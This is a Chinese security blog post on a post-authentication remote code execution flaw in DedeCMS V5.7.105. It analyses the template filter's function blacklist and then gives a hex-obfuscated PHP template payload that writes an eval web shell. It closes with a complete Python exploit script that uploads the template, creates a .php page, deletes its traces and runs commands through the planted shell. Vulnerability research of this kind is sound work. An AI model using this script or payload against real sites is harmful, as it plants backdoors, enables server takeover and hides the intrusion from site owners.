織夢DedeCMS 0day RCE

2023-02-23 06:00:42

前言

原文連結:https://mp.weixin.qq.com/s/bwBc4I9GeY6M_WlEDx83TA

復現記錄時間:

下載當前最新版本DedeCMS V5.7.105進行漏洞復現以及漏洞分析

漏洞復現

可以自己在本地搭建漏洞環境,也可以拉取我自己製作的docker映象

docker pull se1zer/dedecms:latest
docker run -d -P se1zer/dedecms

不會給映象做瘦身,正在學了,555,要是拉取的太慢可以掛到後臺或者就自己本地搭一下吧

首先需要到後臺登入介面/uploads/dede/登入到後臺,然後如下圖操作建立一個模板

這裡模板內容需要做繞過,詳情看後邊的漏洞分析

<?php
"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l(\$_GE" . "T[a]);");
// file_put_contents('./shell.php', "<?php eval($_GET[a]);");

第二步,如下圖增加一個頁面

通過剛剛新建的模板進行新建頁面,需要注意的是這裡檔名處字尾為.php

之後便在/uploads/a/下建立了一個檔案,存取/uploads/a/123.php頁面將會執行自己寫的file_put_contents函數生成一個shell.php

漏洞分析

通過剛才漏洞復現的介面,可以看到建立模板呼叫的是tpl.php檔案,新建頁面呼叫的是templets_one_add.php檔案

tpl.php

檔案位於/uploads/dede/tpl.php

在31行這裡,對模板內容進行了一些過濾和檢測,下邊使用註釋進行解釋過濾

// 不允許這些字元
$content = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $content);
// 黑名單正則匹配
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
    $value = str_replace(" ", "", $value);
    // [^a-z]+ 是除a-z之外的字元(在[]裡不是開頭的意思)
    if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{]#i", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:當前頁面中存在惡意程式碼!<pre>{$content}</pre>");
    }
}
// 匹配<\?php頭
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$content}") == TRUE) {
    // 這裡的U為惰性匹配
    // 匹配函數變數執行,例如$a="phpinfo",則$a()就會被匹配
    if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:當前頁面中存在惡意程式碼!<pre>{$content}</pre>");
    }
    // 就是在上一個匹配前加了一個@,防止報錯
    if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:當前頁面中存在惡意程式碼!<pre>{$content}</pre>");
    }
    // 匹配反引號`,防止命令執行
    if(preg_match("#[`][\s\S]*[`]#i", " {$content}") == TRUE) {
        $content = dede_htmlspecialchars($content);
        die("DedeCMS提示:當前頁面中存在惡意程式碼!<pre>{$content}</pre>");
    }
}

通過上述梳理,發現有很多方法是可以繞過的!

之後進入$action == 'saveedit'語句,然後寫入檔案,這裡模板檔案必須使用.htm結尾

templets_one_add.php

前邊都是對新建頁面內容的一些處理,不會影響模板內容引入,在43行處開始儲存檔案

來到uploads/include/arc.sgpage.class.phpSavaToHtml方法

然後進入uploads/include/dedetag.class.phpSaveTo方法

798行獲取模板內容,如果有標籤的話,還會把標籤的值寫入檔案

至此分析完畢

總結:程式碼沒有對新建頁面的檔案字尾進行檢測,並且模板內容安全檢測也不夠完善從而導致了這個漏洞的產生

EXP

import requests
from urllib.parse import urljoin
import re

cookies = {
    "PHPSESSID": "5k3br9fh4f34so2k0k85qqg3f5"
}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36",
}

s = requests.session()
s.headers.update(headers)
s.cookies.update(cookies)

def exp(url):
    
    # 建立惡意模板
    tpl_url = urljoin(url, "dede/tpl.php")
    ## 獲取token
    params="action=newfile&acdir=default"
    r = s.get(tpl_url, params=params)

    token = re.search('"token" value="([a-z0-9]{32})"', r.text).group(1)
    # print(token)
    shell = """<?php
    "\\x66\\x69\\x6c\\x65\\x5f\\x70\\x75\\x74\\x5f\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x73"('./shell.php', "<?php eva" . "l(\$_POS" . "T[a]);");
    """
    data = {
        "action": "saveedit",
        "acdir": "default",
        "token": token,
        "filename": "hack.htm",
        "content": shell
    }
    
    r = s.post(tpl_url, data=data)
    if "成功" in r.text:
        print("成功建立模板")
    
    # 利用惡意模板新建頁面
    templets_url = urljoin(url, "dede/templets_one_add.php")
    data = {
        "dopost": "save",
        "title": "hack",
        "keywords": "hack",
        "description": "hack",
        "likeidsel": "default",
        "nfilename": "/a/hack.php",
        "template": "{style}/hack.htm",
        "ismake": 0,
        "body": ""
    }
    r = s.post(templets_url, data=data)
    if "成功" in r.text:
        print("成功增加頁面")
    s.get(urljoin(url, "a/hack.php"))

    # 清理痕跡
    ## 獲取aid
    r = s.get(urljoin(url, "dede/templets_one.php"))
    aid = re.search("'templets_one_edit.php\?aid=([0-9]+)&dopost=edit'>hack", r.text).group(1)
    ## 刪除頁面
    params = f"aid={aid}&dopost=delete"
    r = s.get(urljoin(url, "dede/templets_one_edit.php"), params=params)
    if "成功" in r.text:
        print("成功刪除頁面")
    ## 刪除惡意模板
    params = "action=del&acdir=default&filename=hack.htm"
    r = s.get(tpl_url, params=params)
    if "成功" in r.text:
        print("成功刪除模板")
    
    shell_url = urljoin(url, "a/shell.php")
    print("shell地址: " + shell_url)
    print("shell金鑰為a")
    r = s.post(shell_url, data={"a":"system('whoami');"})
    print("whoami命令執行結果: " + r.text)



if __name__ == "__main__":
    url = "http://phpstorm.com/DedeCMS-V5.7.105-UTF8/uploads/"
    exp(url)

登入後臺後,手動修改指令碼中的cookie和網站根目錄,執行指令碼即可獲得shell地址及密碼